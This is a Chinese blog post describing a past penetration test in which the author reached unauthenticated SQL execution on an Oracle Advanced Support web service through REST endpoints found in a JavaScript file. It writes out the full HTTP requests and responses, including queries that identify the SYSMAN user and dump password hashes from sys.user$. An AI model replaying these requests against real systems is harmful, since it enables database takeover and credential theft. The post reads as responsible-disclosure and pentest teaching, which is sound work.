Oracle Advanced Support係統SQL注入漏洞挖掘經驗分享
Oracle Advanced Support係統SQL注入漏洞分析
一年多前我在客戶的一個外部環境中執行滲透測試,任何外部環境滲透測試的重要步驟之一就是挖掘出可訪問的WEB服務。nmap和EveWitness的結合會令這步驟變得更快,因為我們可以進行端口掃描 並且把這些結果以屏幕截圖的形式導入到 EyeWitness中。當梳理完 EyeWitness提供的屏幕截圖頁麵後,我發現了一個Oracle 高級支持服務。
雖然我之前從沒聽過Oracle Advanced Support,但是當我很快的google完之後,我了解到它似乎是一個允許oracle的技術支持在外部登入,並且在oracle係統環境下進行任何技術支持需要的操作的服務。有了這個信息之後, 我們可以將現有的web應用測試與它結合起來。
我們可以對這個應用開始進行一些簡單的偵查,包括:
- 尋找已經被爆出的漏洞
- 用burp爬取應用
- 枚舉常見的路徑
- 查看可獲取的頁麵的源碼
幸運的是,我在主頁的源碼中發現了 一個包含資產目錄清單的鏈接。
對於像這樣一個未知的應用,目錄列表是很有用的,它給我們了一些希望去發現一些很有趣 但不應該被訪問到的東西 。果不其然的在搜尋每個目錄之後,我偶然發現了以下的javascript文件:
讓它變得更適合閱讀一些
在Web滲透測試中,其中一個我喜歡的並且常常忽視的事情是查找應用中的javascript文件, 並且看看他們是否支持任何POST 或者是GET請求。
我們已經發現了一個叫做sql-service.js的javascript文件,這讓我立刻在腦海中提高起警覺來。這個文件包含4個匿名函數其中三個t.getJSON方法的GET請求和一個t.post方法的POST請求。這些函數包含如下一些變量:
- getSqlData
- createNamedSql
- getNamedSqlList
- getSqlNameList
在這篇文章的剩餘部分,我將提及匿名函數中的變量。
每個函數的根節點都位於/rest/data路徑下。
接下來是將他們拆分之後的請求:
- GET /rest/data/sql
- POST /rest/data/sql
- GET /rest/data/sql_list
- GET /rest/data/sql_name_list
有了這些之後,開始拿出我最喜歡的代理工具:burp,看看會發生什麼!
直搗黃龍
我首先嚐試的是來自於getSqlData函數路徑是/rest/data/sql的GET請求。我們也通過觀察javascript發現這個請求需要附加一個參數,讓我們在結尾加上”test”.
- HTTP Request:
- GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0
- HTTP Response:
- HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found.
當我們把”test”加到請求url的末尾,服務器返回了404。同時服務器也返回了這樣一個信息:Named SQL not found。如果我們嚐試”test”之外的其他字符串,得到了同樣的返回信息。我們把這個請求發到Burp 的 intruder模塊,打算試圖過一個目錄列表字典來枚舉潛在的參數名,看看是否能得到除了404之外的返回。但是有一個更簡單的方法來找到合適的參數名。如果我們再次查看javascript,你會發現函數的名稱給我們一些有價值的信息。我們在以下函數中發現了兩個GET請求:getNamedSqlList 和 getSqlNameList.。我們剛才的請求返回的錯誤信息是 Named SQL not found error。讓我們嚐試針對getNamedSqlList函數的GET請求。
- HTTP Request:
- GET /rest/data/sql_list HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Connection: close
- Content-Length: 243633
- [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM MIG_RPT_TABLE_TRANSFER_METHOD WHERE scenario_id = :scenario_id AND package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n RESULT_VALUE\nfrom MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n RESULT_VALUE\nFROM MIG_RPT_DATA_COMPRESSION_PCT\nWHERE scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id =
- …
這的確給了我們不少的信息,讓我們仔細分析一下,我們獲得了一組json對象,看一下數組中的第一個對象:
- {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}
我們發現了以下的屬性:name, sql, dataSourceJNDI, privileges, and paramList,其中 sql屬性是我最感興趣的因為它包含了具有字符串值的SQL語句。我們把name的值放進先前嚐試的GET請求中。
- HTTP Request:
- GET /rest/data/sql/sample HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 400 Bad Request
- Content-Type: application/json
- Content-Length: 44
- Connection: close
- Bad Request.Param value not defined for time
Hey!我們得到一些返回!但是我們少了一個參數,讓我們加進來。
- HTTP Request:
- GET /rest/data/sql/sample?time=1 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 2
- Connection: close
雖然沒有從服務器獲得任何返回,但是也沒有返回任何錯誤!難道是例子中的SQL語句被執行了,隻是沒有回顯?我們可以繼續嚐試其他的從先前請求中獲得的names,但是我們看一下原始的javascript。我們發現有一個叫做createNamedSQL的函數,它是一個POST的請求。我們知道來至於getNamedSqlList 的請求的返回值包含了sql語句的值。也許是這個post請求會允許我們在服務器上 執行sql查詢。我們試一下!
SQL Execution
這就是createNamedSQL中在包體裏麵包含一個空json對象的POST請求:
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json
- Content-Length: 0
- {}
- HTTP Response:
- HTTP/1.1 500 Internal Server Error
- Content-Type: text/html
- Content-Length: 71
- Connection: close
- A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]
我們得到一個關於SQL_NAME列的錯誤,當我們在包體中包含空的json對象時這不是很意外。現在我們在包體裏加入一個隨機的屬性名和數值。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 16
- Content-Type: application/json;charset=UTF-8
- {"test":1}
- HTTP Response:
- HTTP/1.1 400 Bad Request
- Content-Type: text/plain
- Content-Length: 365
- Connection: close
- Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])
- at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])
再一次不意外的獲得了一個關於未知“test”字段的bad request,但是如果你注意的話,這個錯誤的信息給我們返回了一些有用的屬性。感謝 Oracle先生的服務!這些屬性也同樣出現了從getNamedSqlList發出請求獲得的返回中。我使用getNamedSqlList請求的返回中其中的一個值賦給dataSourceJNDI屬性。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 101
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test",
- "sql":"select @@version",
- "dataSourceJNDI":"jdbc/portal"
- }
這看起來是一個很好的測試請求,我們來見證一下 他是否有效。
- HTTP Response:
- HTTP/1.1 500 Internal Server Error
- Content-Type: text/plain
- Content-Length: 200
- Connection: close
- A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]
我們仍然從服務器獲得了一個錯誤返回,但是隻返回了content-type。SQL語句可能已經被創建了。通過把名稱字段設為“test”, 讓我們嚐試第一個具有參數的GET請求。
- HTTP Request:
- GET /rest/data/sql/test HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 24
- Connection: close
- [{"@@version":"5.5.37"}]
看這裏!我們獲得了一些SQL執行。
看一下“我們”是誰。
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: */*
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 101
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test2",
- "sql":"SELECT USER from dual;",
- "dataSourceJNDI":"jdbc/portal"
- }
- HTTP Request:
- GET /rest/data/sql/test2 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 19
- Connection: close
- [{"USER":"SYSMAN"}]
看起來我們是SYSMAN 用戶。通過這個oracal 文檔(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道,我們就是administrator.
試一下 我們能否抓取出用戶的哈希.
- HTTP Request:
- POST /rest/data/sql HTTP/1.1
- Host: host
- Connection: close
- Accept: */*
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Length: 120
- Content-Type: application/json;charset=UTF-8
- {
- "name": "test3",
- "sql":"SELECT name, password FROM sys.user$",
- "dataSourceJNDI":"jdbc/portal"
- }
- HTTP Request:
- GET /rest/data/sql/test3 HTTP/1.1
- Host: host
- Connection: close
- Accept: application/json;charset=UTF-8
- Accept-Encoding: gzip, deflate, sdch
- Accept-Language: en-US,en;q=0.8
- Content-Type: application/json;charset=UTF-8
- Content-Length: 0
- HTTP Response:
- HTTP/1.1 200 OK
- Content-Type: application/json; charset=UTF-8
- Content-Length: 5357
- Connection: close
- [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}
- …
我們可以獲得數據庫中的用戶密碼的哈希值。我編輯和刪除了主要的部分。知道了我們是一個具有administrator權限的用戶,當然後續我們還可以做很多事情。然而,針對此博客的目的,我停止下來了。
結論
關於這個匿名sql執行我聯係了oracle,他們很快的回複並且修複了這個問題。對我而言真正的問題是為什麼web服務壓根兒就允許sql語句被執行呢?
這個博客最大的收獲是一定要看應用中的javascript文件。在多個web應用和外網的滲透測試中,我已經發現了隱藏在javascript文件中sql 注入,命令執行,和 xml實體注入攻擊。
作為針對熟練滲透測試者的練習任務,看完這篇博客並且統計多少個你能確定的漏洞。提示:超過三處。
本文作者:Carpediem
來源:51CTO
最後更新:2017-11-03 11:04:28